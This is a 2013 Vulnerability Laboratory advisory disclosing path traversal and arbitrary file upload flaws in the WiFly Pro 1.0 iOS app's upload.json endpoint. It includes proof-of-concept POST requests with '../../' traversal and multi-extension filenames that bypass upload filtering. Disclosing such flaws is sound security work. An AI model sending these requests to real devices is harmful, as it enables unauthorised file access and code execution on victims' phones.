190 lines
No EOL
7.5 KiB
Text
190 lines
No EOL
7.5 KiB
Text
Title:
|
||
======
|
||
WiFly 1.0 Pro iOS - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2013-07-15
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=1011
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
1011
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
6.3
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
It is the best solution for transferring photos, songs, documents, movies and other files between computer
|
||
and your mobile devices over wireless network. Simply launch application on your iOS device and scan QR
|
||
code from http://wifly.me to connect your phone. Drop your files into opened page and vice versa!
|
||
No cloud or internet access required - no data leaves your local network. Both your devices must have access
|
||
to the same LAN or WLAN - no additional network configurations needed. Transferred documents can be opened with
|
||
any supported App on your iOS device.
|
||
|
||
Capabilities:
|
||
- Multiple uploads
|
||
- Easily Drag & Drop multiple files to WiFly
|
||
- Preview pictures in the browser
|
||
- Downloading the entire folder to your computer
|
||
- Browsing files and folders directly on mobile device
|
||
- Exchange files between mobile devices
|
||
- Built in preview of images, documents, music and video files
|
||
|
||
(Copy of the Homepage: https://itunes.apple.com/us/app/wifly-pro/id641092695 )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the WiFly 1.0 Pro application (Apple iOS - iPad & iPhone).
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2013-07-15: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Apple AppStore
|
||
Product: WiFly Pro 1.0
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
High
|
||
|
||
|
||
Details:
|
||
========
|
||
A local file include and arbitrary file upload web vulnerability is detected in the WiFly 1.0 Pro application (Apple iOS - iPad & iPhone).
|
||
|
||
The vulnerabilities are located in the file upload module of the web-server (http://localhost:4885/) when processing
|
||
to request via POST a manipulated filename. The injected file will be accessable via the index listing module of the application.
|
||
|
||
Remote attackers can exchange the filename with a double or tripple extension via POST method to bypass the upload validation and filter process.
|
||
After the upload the attacker access the file with one extension and exchange it with the other one to execute for example php, js, html codes.
|
||
|
||
The filter in the application itself disallow to rename a file with special chars because of a input field restriction. Attackers need to request
|
||
2 different urls. First the file as url with a parameter of the filename inside to display and as secound step the file will be uploaded with
|
||
the manipulated filename in the POST request.
|
||
|
||
Exploitation of the vulnerability requires no user interaction but the victim iOS device needs to accept the other device connection.
|
||
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.
|
||
|
||
Vulnerable Application(s):
|
||
[+] WiFly Pro 1.0 - ITunes or AppStore (Apple)
|
||
|
||
Vulnerable Module(s):
|
||
[+] Upload
|
||
|
||
Vulnerable File(s):
|
||
[+] upload.json & add
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename
|
||
|
||
Affected Module(s):
|
||
[+] Index Listing (http://localhost:4885/)
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The local file/path include and arbitrary file upload vulnerability can be exploited by remote attackers without user interaction
|
||
but the connection needs to be accepted by the target system. For demonstration or reproduce ...
|
||
|
||
Standard Request:
|
||
Content-Disposition: form-data; name="files[]"; filename="s2.png"\r\nContent-Type: image/png\r\n\r\n?PNG\r\n\n
|
||
|
||
Status: 200
|
||
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&last_modified=1331091664536000&name=new-image23.png&sessionid=1373658611109
|
||
Load Flags[LOAD_BYPASS_CACHE ] Content Size[118] Mime Type[application/x-unknown-content-type]
|
||
|
||
|
||
|
||
PoC: 1.1 - File/Path Include Vulnerability
|
||
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&
|
||
last_modified=1331091664536000&name=../../[File/Path Include Vulnerability!].png&sessionid=1373658611109
|
||
POST_DATA[-----------------------------27213192708057
|
||
Content-Disposition: form-data; name="files[]"; filename="../../[File/Path Include Vulnerability!]"
|
||
Content-Type: image/png
|
||
|
||
|
||
PoC: 1.2 - Arbitrary File Upload Vulnerability
|
||
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&
|
||
last_modified=1331091664536000&name=[Arbitrary File Upload Vulnerability!].png.gif.html.php.js&sessionid=1373658611109
|
||
POST_DATA[-----------------------------27213192708057
|
||
Content-Disposition: form-data; name="files[]"; filename="[Arbitrary File Upload Vulnerability!].png.gif.html.php.js"
|
||
Content-Type: image/png
|
||
|
||
|
||
Solution:
|
||
=========
|
||
The vulnerability can be patched by a restriction of the json upload request and url parameter.
|
||
The POST request when processing to upload needs to be restricted, encoded and filtered.
|
||
|
||
|
||
Risk:
|
||
=====
|
||
The security risk of the local file/path include & arbitrary file upload vulnerability is estimated as high.
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2013 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |